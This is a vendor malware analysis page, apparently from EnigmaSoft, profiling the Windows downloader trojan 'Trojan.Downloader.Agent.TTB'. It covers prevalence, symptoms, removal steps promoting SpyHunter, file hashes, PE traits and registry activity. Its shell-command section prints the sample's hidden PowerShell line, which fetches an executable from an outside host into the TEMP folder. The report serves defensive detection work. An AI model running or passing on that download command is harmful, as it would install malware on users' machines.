Trojan.Downloader.Agent.TTB
Threat Scorecard
EnigmaSoft Threat Scorecard
EnigmaSoft Threat Scorecards are assessment reports for different malware threats which have been collected and analyzed by our research team. EnigmaSoft Threat Scorecards evaluate and rank threats using several metrics including real-world and potential risk factors, trends, frequency, prevalence, and persistence. EnigmaSoft Threat Scorecards are updated regularly based on our research data and metrics and are useful for a wide range of computer users, from end users seeking solutions to remove malware from their systems to security experts analyzing threats.
EnigmaSoft Threat Scorecards display a variety of useful information, including:
Popularity Rank: The ranking of a particular threat in EnigmaSoft’s Threat Database.
Severity Level: The determined severity level of an object, represented numerically, based on our risk modeling process and research, as explained in our Threat Assessment Criteria.
Infected Computers: The number of confirmed and suspected cases of a particular threat detected on infected computers as reported by SpyHunter.
See also Threat Assessment Criteria.
| Popularity Rank: | 20,490 |
| Threat Level: | 80 % (High) |
| Infected Computers: | 2 |
| First Seen: | January 8, 2026 |
| Last Seen: | May 1, 2026 |
| OS(es) Affected: | Windows |
The detection of Trojan.Downloader.Agent.TTB on your system indicates a potential security threat that requires immediate attention. This type of threat is typically associated with malicious software designed to download and install additional malware or unwanted programs onto your computer. It is essential to understand the nature of this threat and take prompt action to remove it and prevent further damage.
Table of Contents
What Is Trojan.Downloader.Agent.TTB?
Trojan.Downloader.Agent.TTB is a type of Trojan horse malware that is designed to download and install other malicious programs or files onto your computer. The term "Trojan" refers to the fact that this type of malware disguises itself as a legitimate program or file, allowing it to bypass security measures and gain access to your system. The "Downloader" component of the name indicates that this malware is capable of downloading additional content from the internet, which can include other malware, spyware, or adware.
How Trojan.Downloader.Agent.TTB Operates
Trojan.Downloader.Agent.TTB typically operates by exploiting vulnerabilities in your system or software to gain access to your computer. Once installed, it can download and install additional malware or unwanted programs, which can lead to a range of problems, including data theft, system crashes, and slowed performance. This type of malware can also be used to create a backdoor on your system, allowing hackers to gain remote access to your computer and steal sensitive information.
Symptoms of Infection
The symptoms of a Trojan.Downloader.Agent.TTB infection can vary, but common indicators include slowed system performance, unexpected pop-ups or ads, and unfamiliar programs or icons on your desktop. You may also notice that your browser homepage has changed or that you are being redirected to unfamiliar websites. In some cases, you may not notice any symptoms at all, which is why it is essential to run regular virus scans and maintain up-to-date security software.
- Slowed system performance
- Unexpected pop-ups or ads
- Unfamiliar programs or icons on your desktop
- Changes to your browser homepage or settings
- Redirects to unfamiliar websites
How to Remove Trojan.Downloader.Agent.TTB
- Boot your computer in Safe Mode with Networking to prevent the malware from loading and to allow you to download and install removal tools.
- Download and install a reputable anti-malware tool, such as SpyHunter, and run a full scan of your system to detect and remove the malware.
- Uninstall any suspicious programs or applications that you do not recognize or that were installed around the time of the infection.
- Reset your web browsers, including Chrome, Firefox, and Edge, to their default settings to remove any malicious extensions or add-ons.
- Reboot your computer and run another scan with your anti-malware tool to ensure that the malware has been completely removed.
Conclusion
Removing Trojan.Downloader.Agent.TTB from your system requires prompt and careful action to prevent further damage and protect your sensitive information. By following the steps outlined above and maintaining up-to-date security software, you can help to ensure the security and integrity of your system. Remember to always be cautious when downloading and installing software, and never click on suspicious links or pop-ups. By taking these precautions, you can help to protect your system from malware and other online threats.
Analysis Report
General information
| Family Name: | Trojan.Downloader.Agent.TTB |
|---|---|
| Signature status: | No Signature |
Known Samples
Known Samples
This section lists other file samples believed to be associated with this family.|
MD5:
c779eb4d7d1a65ecce3bfdb6339d7a88
SHA1:
748a19afc1ae7861bba9cac1f79e216cb7c241b7
SHA256:
CBF963F166CCF77FC4DCD8ABE57839F6FACDF0DFD9867A16D11BF8E7DE5C8DCA
File Size:
738.82 KB, 738816 bytes
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Windows Portable Executable Attributes
- File doesn't have "Rich" header
- File doesn't have exports table
- File doesn't have security information
- File has TLS information
- File is 64-bit executable
- File is either console or GUI application
- File is GUI application (IMAGE_SUBSYSTEM_WINDOWS_GUI)
- File is Native application (NOT .NET application)
- File is not packed
- IMAGE_FILE_DLL is not set inside PE header (Executable)
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- IMAGE_FILE_EXECUTABLE_IMAGE is set inside PE header (Executable Image)
File Icons
File Icons
This section displays icon resources found within family samples. Malware often replicates icons commonly associated with legitimate software to mislead users into believing the malware is safe.
File Traits
- imgui
- No Version Info
- WriteProcessMemory
- x64
Block Information
Block Information
During analysis, EnigmaSoft breaks file samples into logical blocks for classification and comparison with other samples. Blocks can be used to generate malware detection rules and to group file samples into families based on shared source code, functionality and other distinguishing attributes and characteristics. This section lists a summary of this block data, as well as its classification by EnigmaSoft. A visual representation of the block data is also displayed, where available.| Total Blocks: | 2,146 |
|---|---|
| Potentially Malicious Blocks: | 300 |
| Whitelisted Blocks: | 1,769 |
| Unknown Blocks: | 77 |
Visual Map
? - Unknown Block
x - Potentially Malicious Block
Similar Families
Similar Families
This section lists other families that share similarities with this family, based on EnigmaSoft’s analysis. Many malware families are created from the same malware toolkits and use the same packing and encryption techniques but uniquely extend functionality. Similar families may also share source code, attributes, icons, subcomponents, compromised and/or invalid digital signatures, and network characteristics. Researchers leverage these similarities to rapidly and effectively triage file samples and extend malware detection rules.- Gamehack.GSR
- Kryptik.ODFF
- RobloxHack.LE
Files Modified
Files Modified
This section lists files that were created, modified, moved and/or deleted by samples in this family. File system activity can provide valuable insight into how malware functions on the operating system.| File | Attributes |
|---|---|
| \device\namedpipe\pshost.134221878972802744.6432.defaultappdomain.powershell | Generic Read,Write Data,Write Attributes,Write extended,Append data,LEFT 524288 |
| c:\users\user\appdata\local\temp\__psscriptpolicytest_arstpbi4.1c0.ps1 | Generic Write,Read Attributes |
| c:\users\user\appdata\local\temp\__psscriptpolicytest_naldifyi.ffl.psm1 | Generic Write,Read Attributes |
Registry Modifications
Registry Modifications
This section lists registry keys and values that were created, modified and/or deleted by samples in this family. Windows Registry activity can provide valuable insight into malware functionality. Additionally, malware often creates registry values to allow itself to automatically start and indefinitely persist after an initial infection has compromised the system.| Key::Value | Data | API Name |
|---|---|---|
| HKLM\system\controlset001\services\bam\state\usersettings\s-1-5-21-3119368278-1123331430-659265220-1001::\device\harddiskvolume2\windows\system32\cmd.exe | �Ɗx�� | RegNtPreCreateKey |
| HKLM\system\controlset001\services\bam\state\usersettings\s-1-5-21-3119368278-1123331430-659265220-1001::\device\harddiskvolume2\windows\system32\conhost.exe | L��x�� | RegNtPreCreateKey |
| HKLM\system\controlset001\services\bam\state\usersettings\s-1-5-21-3119368278-1123331430-659265220-1001::\device\harddiskvolume2\windows\system32\cmd.exe | �u�x�� | RegNtPreCreateKey |
| HKLM\system\controlset001\services\bam\state\usersettings\s-1-5-21-3119368278-1123331430-659265220-1001::\device\harddiskvolume2\windows\system32\conhost.exe | ��x�� | RegNtPreCreateKey |
Windows API Usage
Windows API Usage
This section lists Windows API calls that are used by the samples in this family. Windows API usage analysis is a valuable tool that can help identify malicious activity, such as keylogging, security privilege escalation, data encryption, data exfiltration, interference with antivirus software, and network request manipulation.| Category | API |
|---|---|
| Syscall Use |
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11 additional items are not displayed above. |
| Process Manipulation Evasion |
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| Anti Debug |
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| User Data Access |
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| Process Shell Execute |
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| Process Terminate |
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| Encryption Used |
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| Other Suspicious |
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Shell Command Execution
Shell Command Execution
This section lists Windows shell commands that are run by the samples in this family. Windows Shell commands are often leveraged by malware for nefarious purposes and can be used to elevate security privileges, download and launch other malware, exploit vulnerabilities, collect and exfiltrate data, and hide malicious activity.
C:\WINDOWS\system32\cmd.exe cmd.exe /c powershell -WindowStyle Hidden -Command "& { iwr -Uri 'https://vcc-library.uk/Stb/Retev.php?bl=9UHkJuvH1q5iXCdVrZDSW01.txt' -OutFile $env:TEMP\BK288768.exe
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C:\WINDOWS\System32\WindowsPowerShell\v1.0\powershell.exe powershell -WindowStyle Hidden -Command "& { iwr -Uri 'https://vcc-library.uk/Stb/Retev.php?bl=9UHkJuvH1q5iXCdVrZDSW01.txt' -OutFile $env:TEMP\BK288768.exe
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